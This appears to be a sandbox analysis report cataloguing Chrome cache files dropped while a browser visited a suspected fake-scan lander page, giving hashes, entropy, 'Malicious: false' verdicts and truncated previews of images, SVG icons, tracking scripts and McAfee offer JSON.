SHA-256:	B0D335401C9FD5FAC9991EC92EDAF7865FF3A491EBE390120936C69796C3B753
SHA-512:	D1A4C2279ECAA2CA24515389CC9350FF872537DBC5CFC704F0896A83530D9F60650D979CB4DA826E3A616AD74D21C5F0FC2781D08AB119393061BC49784AF8FD
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/action_3.gif
Preview:	GIF89a.............ppp...0/1igg...zwzGFI........._\a...UTT...~.............................................!.......,..........g .4.Aa....0..R@..GP.A. .[N........X... @l...i..4...)q`.4V.C.!........(...`...n.~.7..*...............!.;

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2142
Entropy (8bit):	5.207844455663794
Encrypted:	false
SSDEEP:	48:kZxOMOep5BaL7LPDoLhLC2L/KS+Ht++ZvdXLHt++k7Ht++P1Ht++lwUHt+p:RepTajpbZFbk7P1SU4
MD5:	9643AD6A1681691AC53DA9AB36845F46
SHA1:	5E9E80E6C58F21B3D77ECF3DE2FA046575CC9AE8
SHA-256:	A0CDF7B6860937BAC593E79B26B9E465485CAA32B1B17CB73D99B03D8B7F2FB6
SHA-512:	94EFAD7D43C9967C73B4DEF0A2E14B1A70B6060E1AADA48FB5A21B1EDC731AA9F332480292C3965296ADC2B0FC27C575812FEC264C1302BE872CD5D84D567581
Malicious:	false
Reputation:	low
Preview:	<svg width="31" height="30" viewBox="0 0 31 30" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M29.1367 8.4375C29.1367 12.269 26.0307 15.375 22.1992 15.375H16.7617C16.7617 15.8905 16.7039 16.3926 16.5945 16.875L22.1992 16.875C26.8591 16.875 30.6367 13.0974 30.6367 8.4375C30.6367 3.7776 26.8591 0 22.1992 0C17.5393 0 13.7617 3.7776 13.7617 8.4375V9.76166C14.3282 10.1408 14.834 10.6035 15.2617 11.132V8.4375C15.2617 4.60602 18.3677 1.5 22.1992 1.5C26.0307 1.5 29.1367 4.60602 29.1367 8.4375Z" fill="url(#paint0_linear_100_2138)"/>.<path d="M16.9863 7.875H26.6988" stroke="url(#paint1_linear_100_2138)" stroke-width="1.5"/>.<path d="M16.9863 11.55L20.7926 11.55" stroke="url(#paint2_linear_100_2138)" stroke-width="1.5"/>.<path d="M1.38672 28.5C1.38672 25.8076 3.56933 23.625 6.26172 23.625H13.3867C16.0791 23.625 18.2617 25.8076 18.2617 28.5V29.25H1.38672V28.5Z" stroke="url(#paint3_linear_100_2138)" stroke-width="1.5"/>.<circle cx="10.0117" cy="15.

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7678
Entropy (8bit):	5.003907347462123
Encrypted:	false
SSDEEP:	192:flXeOQUKvcD4VjT/K9Pfk2McwcGm02Ou7Vcv1e2Rt:dTU2V7GZRt
MD5:	8C05601606611D6BD9D4887A2B15FA56
SHA1:	069A69FEA4861BB10E52B9C2BA3282DAB0CEE65F
SHA-256:	92E37F640C651751124F4B07E6D748F5BBF3CD184A61B05DF5A12E4755300045
SHA-512:	5D4FA4FBF352590C74D31A269065B4B586AA72157C992886E8C99E232C2F0374EA7A20805495612736E03B82D614874470C5081BA30D4A6720A455D6CE429BBF
Malicious:	false
Reputation:	low
Preview:	{"h.key":"LXNDQ-3SP7Y-P3JVN-Y4HAH-VQNKC","h.d":"mcafee.com","h.t":1727968782830,"h.cr":"8ec501b0a01bf3e2863fa1b82a066891ac74124e-8a47b845-795b70ed","session_id":"4701dfc7-e930-484c-b2ba-bad1b9a530ce","site_domain":"mcafee.com","beacon_url":"//684dd32c.akstat.io/","autorun":true,"instrument_xhr":true,"beacon_interval":60,"BW":{"enabled":false},"RT":{"session_exp":1800},"ResourceTiming":{"enabled":true,"splitAtPath":true},"Errors":{"enabled":true,"monitorTimeout":true,"monitorEvents":true,"maxErrors":20,"sendAfterOnload":true,"sendInterval":1000},"Continuity":{"enabled":true},"TPAnalytics":{"enabled":true,"clientids":true},"PageParams":{"xhr":"match","pageGroups":[{"type":"Regexp","parameter1":"www.mcafee.com/?($\|\\?\|#)","parameter2":"Root","on":["navigation"]},{"type":"Regexp","parameter1":"moguid\\=9061C461\\-FE4B\\-49DE\\-AB82\\-004DE9FD95F3","parameter2":"CMS Cart East","on":["navigation"]},{"type":"Regexp","parameter1":"moguid\\=67D27C36\\-8ED3\\-4E5D\\-BC7F\\-9793A2549DBF","paramet

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14922)
Category:	dropped
Size (bytes):	26243
Entropy (8bit):	5.183626509690236
Encrypted:	false
SSDEEP:	384:ilNsImVVML7UM4oSH0HkgvkMSk8lkLMk0vkk/7iYXykkAhXBc6JHu3UiB0A:ilKVAEHz+Cyyccul
MD5:	70822B3E0A9C9F8540FAF79179D3732A
SHA1:	2513DE055A21CD942F4B1713E8589DF55FFBC9E4
SHA-256:	828DDD693BC08434E00E4A335DB98C2962A742E55372C1760441EAC79787D221
SHA-512:	A929726A67526DF96136DD694DDE43C3746B6490B2F44BF96D4C320CC4F39DABB35F8D05B190500D4A7F565B334F8DFDACE26BBA3329E154A04AAE08252A22D4
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.529 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 162 x 151, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5066
Entropy (8bit):	7.941334778279769
Encrypted:	false
SSDEEP:	96:qaczj9rMcYbaXBv3DFdSrsk/2DjTwUc3cJwfassqhS4ctZoHo267q:qaczxMpM9TGAkO38cJK1c7yI2wq
MD5:	52A9F368C9F87B3E3D3593A03D74C0C4
SHA1:	468D697B58E60362CF8B545169736A61868BF68F
SHA-256:	55A7336F8CAFAEF04147F53CDFE27517F1540B536E5FA0DA7B2FA115E1D9FDF0
SHA-512:	610F22D67F853F3B203EEADC23E6404F202FC0255C202B157C4226AD2EF6CE6AA641C1B47AE8E74669B0701350B5FFB36D87AC55060979752FA35A8B28DCBD96
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............E......sRGB.........gAMA......a.....pHYs..........o.d..._IDATx^.]}.\.u.....q.A..#....:....d..$..%.R..(Q.*.i.5Ui.DT$........P..&....a'.ual..;.k...{....yo....g.7s{............9?.'...<.{..s.=..s/".....@ .....@ .....@ ......-....X...Y\lU.{.j....%..-... .U)?lW....N].n.5......fL_.).mU..V...s......e....K.U..o....%.:..S.9gf.\7.5...9a...0~.0.!o.0..'..Y...jF..0.TX3....U...(.....-.....)K.7..Q..p......y.<K....i...Am...(.....y..o.....e.t.Rn.X....Q...@IX....v.......2.....d.........).B.x....+.RY.....XF.f).B.@.nUJCyX..M."vU..M..c..lts...J1......J.P;3.e).B..S.....OT.4DSu..tS3K...'....<O.b$..=S\.T.Z...S...1$jfyq?'..#..)......%_Q...".K.....!.....a..1.4}.....2k.......'......9G.g...g.K.syx.x.q.).8...O...gJ}...cFZ....&K.c.Rc..y.....Y...2..m.v.%..k..T._)q.R;]p....].J......F>.4.(...4k.\|H._.{H..-.\.j pO..m.A%......\..0....M.9..5~v...\|..V....p)..I..........z.....Yk...a...-}B}o..4$.0.....+../..8s...S........u.1k.q....X}%s...Ys.....c\.w..72......

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 78 x 52, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1884
Entropy (8bit):	7.84656829107834
Encrypted:	false
SSDEEP:	48:EV5T1ekkA5KX9y/Sfv/bWHAdYFDoXa9I+q:ED1QA5AEM/bzXT+q
MD5:	E395CD7BBF45447C96B693328235DEEB
SHA1:	3C51B690DE6769E286C3628590D385BF0216AE91
SHA-256:	C9EA375CBF681097F49179519C2AFD79549D1D800C8DD2F73CD5BF6B6EE96AD7
SHA-512:	A3D67D212CA4021E5E785D14107F32AAD5C6AE3EE4037B8072557050A6D7EAE6666BFAF8E0B527FB748FCC0715B16CAE6ED12F7F13091C4580E6EC2A15EA42EF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...N...4.....$.......orNT..w.....sRGB.........IDATh..{LSw......K&F..G4...\|m1..2......Zy..T........P......(.2..A....i+...^.U.uk..Yte.o....)....{.o.......s..w..11..I.b[)A...C..-....X,.5.i.J......U....?.:....g..t.D=8Nj J..i.$...4l~....`..t...M..~....m....i0....O../.1..............Lh7}3....hp...4.nW...Kx...$pA.Ah..{i.!.....G..........Ky....s8..5....\-.M..K9...HB..D.r.W.{<.......w.e,..XO..g>..%.H....0..{.'.w.~..z..-..Q.8../&.hilf..v..u..>.oh4Zp]....p......,.`O.g4..G.k.t.....x`y...z.].....,.IF.....Y.....Gv.;=Ed.8.zL...es#"......o..A'.....8.C..N..(...2..../8...Lk..~suB..........786...$..u....H.q...g....6.s.{S..........b.#.R.u....S..;z.1.s....x.....ip..8!...M$I.........^...X2..,.a=g........x.`...kF....B4XV. .`!.Vg...=.]...... .7(r..wr.F..0....[t....fTA~......y8C.wOO.+'.5....o..,m4.Ld.<..2i..`Mse.'fU.:u.].IC.I.ca]..V.......-Kl..k.-.....V.z$;.......G.[\..."n.#.....66.f}{......L6....8N.k..6.jP..6V...0.w6.j..X...!.....V..^...U.J.:c....

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	623
Entropy (8bit):	4.751776313102999
Encrypted:	false
SSDEEP:	12:trwdU/gKuukBAM65UHSAMPHmWSVbndwOhcHFTdywIsfwuq1ktyWFWwdBe9DYCK5:tYU/duukBAMMUHSAMPHm7uOSHNUn8Be+
MD5:	E67E5D3E5D7F6A0CDE7C60A415DB6B8C
SHA1:	38C1BBB16D08ECF0FFAD29E41A1AA0405FA49F8D
SHA-256:	213B2F17990212EB978FD96D26A970F89BFD80CD4B48A5A28390020DF0F6899D
SHA-512:	DE2CD9C909F5FC05A3313FCDBFFDD129B64DCB89DB46DA529630E115C5A225828C2368D6D8DA3158F82BDAF61FF44B576B10EE921A83EF1151C4F3603D9E2AD8
Malicious:	false
Reputation:	low
Preview:	<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<g id="icon R">.<path id="icon-container" fill-rule="evenodd" clip-rule="evenodd" d="M12.9956 22.2072C18.5185 22.2072 22.9956 17.73 22.9956 12.2072C22.9956 6.68431 18.5185 2.20715 12.9956 2.20715C7.47276 2.20715 2.99561 6.68431 2.99561 12.2072C2.99561 17.73 7.47276 22.2072 12.9956 22.2072ZM10.824 14.1067L8.70271 11.9854L7.2885 13.3996L9.40982 15.5209C10.5814 16.6925 12.4809 16.6925 13.6525 15.5209L19.3093 9.86408L17.8951 8.44986L12.2382 14.1067C11.8477 14.4972 11.2146 14.4972 10.824 14.1067Z" fill="#24BC98"/>.</g>.</svg>.

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	249
Entropy (8bit):	4.994994411267914
Encrypted:	false
SSDEEP:	6:tnrsn1Urumc4slLIKN5cXFB/NfrgcXF+l393aM4ZKfC:trI1Qu7+B/5rrcFal0q
MD5:	EF5D7F4CBE7EBA7BDC37896C05BA8F11
SHA1:	6F489174ED31D380DFD0DB3EEF470EE3F7DF8209
SHA-256:	F05E5DE6E76887A5533B2E901AC4CF6F2BE6C8C5C0EF6B3F70D2178AB26286B0
SHA-512:	46AA8A9D8EDA13801F1E266CC39F8FEF55F5C61FA3D79F4DFCFD4FD972CF37848452A01BC10D37F62413EAC05F4B8FF4BADF2B828AB223D140B0A221F1652F19
Malicious:	false
Reputation:	low
Preview:	<svg width="19" height="18" viewBox="0 0 19 18" fill="none" xmlns="http://www.w3.org/2000/svg">.<g id="ic_close">.<path id="Vector" d="M2.69922 2.19922L16.2992 15.7992M2.69922 15.7992L16.2992 2.19922" stroke="#C01818" stroke-width="2"/>.</g>.</svg>.

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45412), with no line terminators
Category:	dropped
Size (bytes):	45412
Entropy (8bit):	5.590423983947241
Encrypted:	false
SSDEEP:	768:fnnnxdoVqah1NE2lgc0cquA2ZUn/w0UwYEozfAW9gCIHrrsGzx24ZuOqoh8lx5nt:2o92gUwxo8/Cgr7ZrZENfirzwvxdN
MD5:	628CEC81962EE09B413CE7668F872C5E
SHA1:	182057B5601DBDF99ED18957C50FEA02981F2642
SHA-256:	6C5D5FF8B412B9EB1647D60A917B61BEE0CBB59687B6C9C40718C808155C9820
SHA-512:	D1E850983B6AE731B52F15EA9330F1D64FAF5BA7837BC6897879D529BD6CB7041BAF2652ADBF149D951F8E599456D96432D3EA445D835B92D4780E26824A3CAC
Malicious:	false
Reputation:	low
Preview:	(function(K){(()=>{'use strict';var e=K.L(K.x,(e,t)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.AK]=t[K.eK]=void K.N;const r=K.R,n=[];function o(e){const t=window[K.qb][K.bb][K.ZM][K.bM]\|\|r;[window[t]\|\|[],n][K.ck](t=>{const r=t[K.hS](e);r>-K.tr&&t[K.EY](r,K.tr)})}t[K.AK]=function(e,t,o,i,a){let s;try{i instanceof HTMLScriptElement&&(s=i[K.sE][K.hY](K.xE)[K.Hb])}catch(e){}const c=window[K.qb][K.bb][K.ZM][K.bM]\|\|r;window[c]?window[c][K.ck](e=>{e[K.sK]===o&&e[K.tC]&&(o=e[K.tC],s=e[K.QK])}):window[c]=[];const d=K.L(K.Qb,e,K.Jj,t,K.sK,o,K.QK,s);a&&(d[K.YY]=K.L(K.sr,a)),n[K.OE](d),window[c][K.OE](d)},t[K.eK]=function(){n[K.ck](o)}},K.r,(e,t)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.tK]=void K.N,t[K.tK]=()=>{const e=navigator[K.jb];return new RegExp(/Chrome-Lighthouse/)[K.yM](e)}},K.K,(e,t,r)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.f]=void K.N;const n=r(K.g),o=K.L(K.ar,K.Xr);t[K.f]=async function(e){const t=await(K.N,n[K.rj])();if(!t)return e;const r=btoa(JSON[K.WE](t)),i=r[K.Ik];return e[K.

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8193)
Category:	dropped
Size (bytes):	27186
Entropy (8bit):	5.282288452042813
Encrypted:	false
SSDEEP:	768:vRJme6Jx35bfvROAq1yehRMGXVZoUE3Ttv:5Jme6Jx35bfJOAq1yezoUEF
MD5:	218BA57454E191A700192FE2F7830B7D
SHA1:	3F85BDEF76814B9B70CCF6F4866BDB6F4F841FFF
SHA-256:	F07EBCB877CCA4E9284502ED942C03543636711B76EF463AF1714DA4765FCBD6
SHA-512:	4F075D966046E1E7AD445D6473B677D6B4461B62E9F309522C129ED7BC6B4BCE81E86BE21036186037C55667B2F887D82591686801E0184826B7F254F256486C
Malicious:	false
Reputation:	low
Preview:	Array.prototype.filter\|\|(Array.prototype.filter=function(t,e){"use strict";if("Function"!=typeof t&&"function"!=typeof t\|\|!this)throw new TypeError;var r=this.length>>>0,o=new Array(r),n=this,l=0,i=-1;if(void 0===e)for(;++i!==r;)i in this&&t(n[i],i,n)&&(o[l++]=n[i]);else for(;++i!==r;)i in this&&t.call(e,n[i],i,n)&&(o[l++]=n[i]);return o.length=l,o}),Array.prototype.forEach\|\|(Array.prototype.forEach=function(t){var e,r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if("function"!=typeof t)throw new TypeError(t+" is not a function");for(arguments.length>1&&(e=arguments[1]),r=0;r<n;){var l;r in o&&(l=o[r],t.call(e,l,r,o)),r++}}),window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),Array.prototype.indexOf\|\|(Array.prototype.indexOf=function(t,e){var r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if(0===n)return-1;var l=0\|e;if(l>=n)retur

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 135428
Category:	dropped
Size (bytes):	12677
Entropy (8bit):	7.9813769984525855
Encrypted:	false
SSDEEP:	192:WYxM7GzkvZNW+T93JohWU3VBMuQBMXRvaE59IWZpl/Z9zgP4JvoyhcgzFGD:rfYHXohNWBUdCcB9zgy/c
MD5:	AE4CA43412F0E072326AC71A34A38CE6
SHA1:	725D22D24644E0E098CAA185B11121209704EDED
SHA-256:	DC7F8C7572A2DB49A5C5EDC962336E004DD332FF49393DCA214DCDCB55900E7C
SHA-512:	08589BC22A06FC6C6B92B3B9A82D27D36E0237B64467D399FF921845A38495C1F8FDAF6C7607626DEAA46487506196A5A5AF8A3040A7B266D6899CF0DE3FC1DE
Malicious:	false
Reputation:	low
Preview:	...........kS.>.(...)<..g.~...F.:.9.B/......,.@.\Y...<...d'q.'..6........Z.........B}.T^^.........].e......R.D..Q.W.DBE....................AB.3..6......E..h./+.t.S..}...T.t...Z.a..Y@L....vf..C..0 .B.L..br...........o.?_\..j.....%....@..N.5......8d.D).{A..+o...W..@7A.%....N.Px.rS.3g.\..qZL.t...W..#H..)..P]..O^.0.n..;......../C..Z..".p.eU.$...J.bL.Ue~S..M].P.$<..E...U.!.j[/.$..%..z......;..:....?B]Op._....U..3...T.1Td....'...5.ceT..)cB.>]...N...c,I.\|....<.(r..Fk.?.....T..CoE.2.N.ue...W...U.d..#..2.dQ.,L...&..d!.v.Ul....^.f-US.....T90?W.z..W.+-..ad9e.n%1.I..Xn&[....t.......r0X.".......T..a..>.........T..m. ..2rg_......\...R...M.S.o......C/1T.(.(._]U...h.^dE.q..w.R.Z./$...`=P.'.=<..x..w.....5Z.h......4..c......PD..pu,...\|.i..."^.T..y.u.#...w.hv..j......j..s`.&0H0.d...U....Zf.\..:.._l...D...0..H.\.R<..)I...Y4F....8.>.RrY.9Vk..Z.[#.U.}yr....A]...,.x....k...}..k......Y...5.^Z..5M.VJ.dc2Q97.....F.U.....\...^_....q_\|.FZ.tlO..l.A....u:Y

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (8192), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	85761
Entropy (8bit):	5.187307606451766
Encrypted:	false
SSDEEP:	1536:cezoUEUWmFwg8PtnXLUlv6UZfNfHl1E8uyfvcIJWN382m:cexWmR8P5MfNfXUwQs3
MD5:	A9E7A5735EAACB0BC6A87A2865C7B53C
SHA1:	94DEC9997F44F9F39A983D5298BF6774CB8EDA2F
SHA-256:	AD614B44F47359FA93F396917B206B3725A0E373B5DD76525FC7586AFC7983A1
SHA-512:	8057C17C01DB4F014639CD4F16816458F52978A5997BA86F259C1ADEF6968288A9DE0D3FB6AFEF83CCE882F3E4CECFC475B74B0BD7EE31A0FAF0B76336A342A4
Malicious:	false
Reputation:	low
Preview:	if("undefined"==typeof usi_cookies){if(usi_cookies={expire_time:{minute:60,hour:3600,two_hours:7200,four_hours:14400,day:86400,week:604800,two_weeks:1209600,month:2592e3,year:31536e3,never:31536e4},max_cookies_count:15,max_cookie_length:1e3,update_window_name:function(e,i,n){try{var t=-1;if(-1!=n){var r=new Date;r.setTime(r.getTime()+1e3*n),t=r.getTime()}var o=window.top\|\|window,l=0;null!=i&&-1!=i.indexOf("=")&&(i=i.replace(RegExp("=","g"),"USIEQLS")),null!=i&&-1!=i.indexOf(";")&&(i=i.replace(RegExp(";","g"),"USIPRNS"));for(var a=o.name.split(";"),u="",f=0;f<a.length;f++){var c=a[f].split("=");3==c.length?(c[0]==e&&(c[1]=i,c[2]=t,l=1),null!=c[1]&&"null"!=c[1]&&(u+=c[0]+"="+c[1]+"="+c[2]+";")):""!=a[f]&&(u+=a[f]+";")}0==l&&(u+=e+"="+i+"="+t+";"),o.name=u}catch(s){}},flush_window_name:function(e){try{for(var i=window.top\|\|window,n=i.name.split(";"),t="",r=0;r<n.length;r++){var o=n[r].split("=");3==o.length&&(0==o[0].indexOf(e)\|\|(t+=n[r]+";"))}i.name=t}catch(l){}},get_from_window_name:fun

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	7006
Entropy (8bit):	5.293469967936817
Encrypted:	false
SSDEEP:	96:Tl/Csl31QriKQT9fdti3AesAvaN1lHZ/CQFaCFtbp7:Tl/Csl3CriKQHtCUAvaN1z/CQFtR
MD5:	5567D9C52CD10A1EE810D774E6D1BB3F
SHA1:	ABCBC818A21CC4F08FA96CCCB5D039F8544EF57B
SHA-256:	95EA910A082767306C0455C9406FDA7A19763FFA8247B3FCA024A15BB4F95ACA
SHA-512:	EDE5A885756CD496CBF1CF6805CF582590C3CA485AF9A044FD04E99E12692C6ED43B595618D7B1CD84207CA4536DCA3992BED96616B982207B2F10D11C0DDE3E
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/ecommerce/ipz/services/core/cacheable/static.json/offersPrepare/availableOffers/catalog/offers/prices/channel/rewardOffers?affid=1494&channelrefid=&culture=en-us&isMaps=&moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&pkgClientCode=&pkgCode=
Preview:	{"offers":{"6a99f253-6888-47ce-8b47-55b36a90c42e":{"businessRules":[],"planClientCode":"663_1YEAR_BASE_PAID_AR","packageClientCode":"663","arPackagePlan":{"graceUnitOfMeasureValue":30,"code":"5713e5c6-f16f-4bc0-9131-daa87e68254e","unitOfMeasureValue":1,"unitOfMeasure":"YEAR","graceUnitOfMeasure":"DAY","name":"McAfee+. Advanced - Individual 1 Year(s) Paid (Auto Renew)","arPrice":199.99,"type":"PAID","category":"BASE","arAllowed":true},"planName":"McAfee+. Advanced - Individual 1 Year(s) Paid (Auto Renew)","planCategory":"BASE","planExpiryDate":"09/22/2025","products":{"bankaccount_monitoring":true,"credit_score":true,"username_monitoring":true,"healthid_monitoring":true,"ssn_monitoring":true,"safe_wifi":true,"financial_transaction_monitoring":true,"vso":true,"personal_data_cleanup":true,"credit_monitoring":true,"mpfp":true,"financial_account_monitoring":true,"identity_theft_insurance":true,"secure_vpn":true,"online_account_cleanup":true,"mtk":true,"id_restoration":true,"dfm":true,"p

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8192), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	52979
Entropy (8bit):	5.396065495147958
Encrypted:	false
SSDEEP:	1536:5Jme6Jx35bfJOAcezoUE4IqqexrWigcucMhee5XtItR28l:nW3HO5e+qC98l
MD5:	8642ED0B98A0A7432A2976ACEECE9213
SHA1:	3488E09A705F12803935983FAA50C095B9718CC1
SHA-256:	3261E2D861BD39394CC1B6B1787C6D0893D166E6547E81438F1515379554CA65
SHA-512:	4BA77D1A802BD285B3013EB79B5EEE4F16B468249EB2EDF019D5F6EFE5E285C45CF9F6727DEF0D95A1FF2AD89FCDFE92B0F0F4FA249938F0C64B121A146072AD
Malicious:	false
Reputation:	low
Preview:	Array.prototype.filter\|\|(Array.prototype.filter=function(t,e){"use strict";if("Function"!=typeof t&&"function"!=typeof t\|\|!this)throw new TypeError;var r=this.length>>>0,o=new Array(r),n=this,l=0,i=-1;if(void 0===e)for(;++i!==r;)i in this&&t(n[i],i,n)&&(o[l++]=n[i]);else for(;++i!==r;)i in this&&t.call(e,n[i],i,n)&&(o[l++]=n[i]);return o.length=l,o}),Array.prototype.forEach\|\|(Array.prototype.forEach=function(t){var e,r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if("function"!=typeof t)throw new TypeError(t+" is not a function");for(arguments.length>1&&(e=arguments[1]),r=0;r<n;){var l;r in o&&(l=o[r],t.call(e,l,r,o)),r++}}),window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach),Array.prototype.indexOf\|\|(Array.prototype.indexOf=function(t,e){var r;if(null==this)throw new TypeError('"this" is null or not defined');var o=Object(this),n=o.length>>>0;if(0===n)return-1;var l=0\|e;if(l>=n)retur

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 329 x 87, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	29760
Entropy (8bit):	7.986564687940976
Encrypted:	false
SSDEEP:	768:2HJBJufXOeSL+ytmV2hE+s43n5XO+dcrcJ3WemE1DHRTfDy/OK2aRMF:0JKM+gpE+s4ckmem0D8TR2
MD5:	D3E01955D7C2A29BA225168B627DB14B
SHA1:	EB0E9BB5CCB962B32A495E46AB9D8F6BF2C79965
SHA-256:	61266284192377424B538055BA33F9B002EEA10B18653AF876202BC8B5B3D85D
SHA-512:	395FA950F4A774AC083C76AA4B8AC0E0366B6404C2AA221D206B38C35B7C7436C28D55377E3E4640A713C99A5F2552B11E4910DEE918B2A6C7B3DE529DAD5056
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...I...W......!......orNT..w...s.IDATx..w.$U...'Tu...9......E......P1b..sx.......bD.Y.......,...avwfvB....?NUw............sN=.......=3.S..\...J...'5M...\.....D...n...!g<.../..MxPB"=x).K...R.@.b...).$%.$Jk..8.X.j.NHR.1...$.4..o\x13.`N.dN...............x4..X..'........1..q...AI... @H...L..8......x.).<.7.M.....6....A....D.Yo{N.dN..8.%.&.).....zD..3^...>..K^56.WXk..S.>..85.%.....5.$..))c.....D...r..^.h_W.}...[.Y.`...V].<gX.1.&m4((.$\...C....x...,...9..9..+.(IOK...K..(.......7}...B<...g.~\..(.Y_w..3w....5A.....P].l.....\.......\|..{. ..$..........9..9.Y..1I....@./ ..R.n.Wo...........rz[..D8O..M.l.0.w..5...:4S..@.....KFO8.......>....~..1.2x.q.AG..%_..Wf....l........ 